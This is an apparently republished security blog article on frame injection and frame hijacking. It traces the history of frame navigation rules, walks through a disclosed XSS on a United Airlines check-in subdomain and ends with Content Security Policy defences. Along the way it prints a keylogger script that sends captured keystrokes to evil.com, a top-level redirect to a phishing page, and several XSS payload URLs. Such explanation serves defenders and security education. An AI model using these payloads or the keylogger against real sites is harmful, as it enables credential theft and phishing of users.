Frame Injection Attacks
Learn more about frame injection attacks and how to prevent them.
Join the DZone community and get the full member experience.
Join For FreeFrame injection is a type of code injection vulnerability classified by OWASP Top 10 2017 in its A1 Injection category. Cross-site scripting is naturally prioritized by bug bounty hunters since it seems easily exploitable and effective. But malicious hackers are also attracted to this vulnerability because there are aspects of the frame injection attack that can allow hackers to redirect users to other malicious websites used for phishing and similar attacks. In this blog post, we explore one of these aspects, inspired by security analyst Mustafa Hasan’s research. We’ll also outline a method for preventing this vulnerability. Hasan is a Security consultant at Securemisr, a former Netsparker employee, and a bug bounty participant.
Invention and Development of Frames
Before the invention of frames, you could be certain of encountering only a single window object on any given website. However, the introduction of frames to HTML changed this, making it necessary to handle multiple windows on the same web page. Quite often, an action in one frame — clicking a link, for example — would directly affect a neighboring frame.
Imagine two neighboring frames in a web page designed as an e-book reader, where one frame is used to view the table of contents for the book while the links clicked in that content will launch in the other frame. This can be achieved quite simply by adding a target attribute to anchor elements and forms, or by specifying the window name in which the URL will be loaded as a second parameter in JavaScript’s window.open method.
A Brief History of Frames
In the mid-1990s, a web page could redirect any frame to a different web address at any given time. In 1999, security researcher Georgi Guninski published his research on the dangers of frame navigation. He discovered that if the login page of Citibank was loaded in an iframe, due to the frame rules at the time, the address of this frame could be changed by a different page in another window. The login page of Citibank within the iframe could have been simply redirected to an attacker-controlled website such as https://attacker.com.
In 2006, Microsoft developed a set of rules called Frame Navigation Policy and implemented it on Internet Explorer version 7. According to this policy, in order to change the address of an iframe from a different website, both the website that loads the iframe and the other website must have the same origin.
Same Origin Policy (SOP) is the security model that regulates the access of websites with different origins to their DOMs. SOP is far more limiting than Frame Navigation Policy since the latter allows the frames to change each others’ attributes.
The Power of a Frame Injection Attack
Frame injection attack involves an attacker injecting a frame into your webpage. The impact of this vulnerability has changed in parallel with the development of browsers. For example, as mentioned above, previously, the address within the frames could be changed from a site loaded in a different window. Later, methods, such as keystroke hijacking, were used to capture the keyboard activity of users using frames. Here is a sample cross-frame scripting code that achieved this in Internet Explorer 5 and 6.
<!-- http://evil.com/example.com-login.html -->
<head>
<script>
// array of user keystrokes
var keystrokes = [];
// event listener which captures user keystrokes
document.onkeypress = function() {
keystrokes.push(window.event.keyCode);
}
// function which reports keystrokes back to evil.com every second
setInterval(function() {
if (keystrokes.length) {
var xhr = newXHR();
xhr.open("POST", "http://evil.com/k");
xhr.send(keystrokes.join("+"));
}
keystrokes = [];
}, 1000);
// function which creates an ajax request object
function newXHR() {
if (window.XMLHttpRequest)
return new XMLHttpRequest();
return new ActiveXObject("MSXML2.XMLHTTP.3.0");
}
</script>
</head>
<!-- re-focusing to this frameset tricks browser into leaking events -->
<frameset onload="this.focus()" onblur="this.focus()">
<!-- frame which embeds example.com login page -->
<frame src="http://example.com/login.html">
</frameset>
In modern browsers, the greatest impact a frame injection attack can have is that the injected website can be redirected it to a different URL, initiating top-level navigation. This type of frame injection attack is known as frame hijacking.
Frame Hijacking
Frame hijacking is another version of frame injection where the attacker can control the src
attribute of the iframe
element in a target website. This is the method that allows top-level navigation as already mentioned. The attacker can succeed by simply injecting a URL, without the necessity of potentially blacklisted characters (such as <,>,"). Here is some sample code for this attack:
<iframe src="YOUR_ATTACK_PAYLOAD"></iframe>
YOUR_ATTACK_PAYLOAD= http://www.attacker.com/maliciousscript.html
maliciousscript.html
<script>
top.location.href="http://www.attackerphishingsite.com";
</script>
Frame Injection Compared With XSS
If attackers are able to use the iframe
element to execute a payload, they probably also able to inject cross-site scripting (XSS) payload. So, modern bug bounty hunters may find this much more useful than an XSS attack.
Let’s take a look at how this typical bug bounty hunter focus can lead to a missed opportunity, by examining Mustafa Hasan's 2016 bug disclosure. His story begins with a search for cheap flights on United Airlines' website when he recalled that United offered a bug bounty program offering free air miles to researchers who reported security vulnerabilities. Hasan proceeded to attack the input fields with his payload and checked the results until he found a subdomain under the ownership of United (http://checkin.united.com/).
How the United Airlines Frame Injection Attack Happened
When a request was made to this subdomain, Hasan realized that he was redirected to a different page on the same domain and that the SID
parameter was sent in the query string. After an investigation on the SID
parameter, he confirmed that it was reflected in 60 different areas without sanitation.
Using the "><svg onload=confirm(1)>
" payload, Hasan discovered that his payload was reflected in the HTML output as expected. However, the confirmation box that he expected to see as a result of the function call didn’t show up at all.
On investigating the JavaScript code, Hasan discovered why this was the case. Native functions such as alert
, confirm
, prompt
, unescape
, write
, and fromCharCode
were overwritten by the code block belonging to the website.
He tried deleting the overwritten prompt function:
<script>delete prompt;prompt(1)</script>
Unfortunately, this didn't work. So, Hasan used an iframe that had an empty src
attribute in the document to reset all the overwritten functions within the document by matching them to their counterparts in the iframe’s window
object. This was the payload:
http://checkin.united.com/travel/checkin/start.aspx?SID=<iframe></iframe><body onpageshow=top['locatio'+'n']=top['locatio'+'n'].hash.slice(1)>#javascript:var iframe=document.getElementsByTagName("iframe")[0];window.alert=iframe.contentWindow.alert;alert(document.domain);
Here is another version of the payload, shortened with the help of Brute Logic:
http://checkin.united.com/travel/checkin/start.aspx?SID=";}{document.writeIn(decodeURI(location.hash))-"#<iframe src='javascript:top.window.alert = this.alert;alert(document.domain)'
Although his efforts are on point, Mustafa Hasan missed a point that could have saved him a lot of time – origin inheritance.
Origin Inheritance
Let's assume that you want to view content that was generated in the client side on a web page. For example, you want to make a set of calculations with user inputs using JavaScript in order to produce some form of output. You’d like this to be viewed as a web page and you arrange it in a printable format. However, since all these processes will take place on the client side, you want to avoid making a request to the server.
It’s possible to generate web pages with empty DOMs using pseudo protocols such as about:
, javascript:
, and data:
. For example, when you call window.open("about:blank")
or type about:blank
in your web browser's address bar and press Enter, your browser will produce an empty DOM.
There are various ways to generate such pages with pseudo protocols. One of the ways to do this is by assigning pseudo protocols to the src
attribute of iframes and image (or similar) elements. Here’s an example:
<html>
<body>
<iframe src="javascript:alert(document.domain)"></iframe>
</body>
</html>
The code above will cause the iframe
attribute to prepare an empty DOM. The document origin value of this DOM will be inherited from the parent domain. This feature is known as 'origin inheritance'. A very simple frame injection using this feature could do exactly what Mustafa Hasan’s lengthy payload achieved.
<iframe src="javascript:alert(document.domain)"></iframe>
The payload above generates a new DOM object where there are no overwritten functions. Besides, the origin of this resource is the same as the target website that loads the iframe. This means that it’ll be able to access the DOM resources of the target website since they have the same origin, conforming with the SOP rules.
In all major browsers, calling the pseudo protocol of JavaScript:
in an iframe will cause the origin value to be the same as the parent document’s origin. This was tested on Firefox 66.0.3 (64 bit), Chrome 73.0.3683.103, Internet Explorer 11, and Microsoft Edge 44.17763.1.0.
What Can You Do to Prevent Frame Injection?
The Content Security Policy (CSP) header would be the ultimate way to prevent frame injection attacks. CSP’s script-src
directive is a very useful tool for preventing XSS attacks. Likewise, CSP’s frame-src
or child-src
directives allow you to whitelist the sources of the iframes that will load on your page. You can also assign them a ‘none’ value to prevent iframes from loading at all.
Further Information
You can read more about the Content Security Policy (CSP) Explained on the Netsparker blog. You can also read about the hundreds of vulnerabilities that Netsparker detects and reports in our Web Application Vulnerabilities Index, including the frame injection vulnerability.
For further information about Mustafa Hasan’s research, read United to XSS United.
Published at DZone with permission of Ziyahan Albeniz, DZone MVB. See the original article here.
Opinions expressed by DZone contributors are their own.
Comments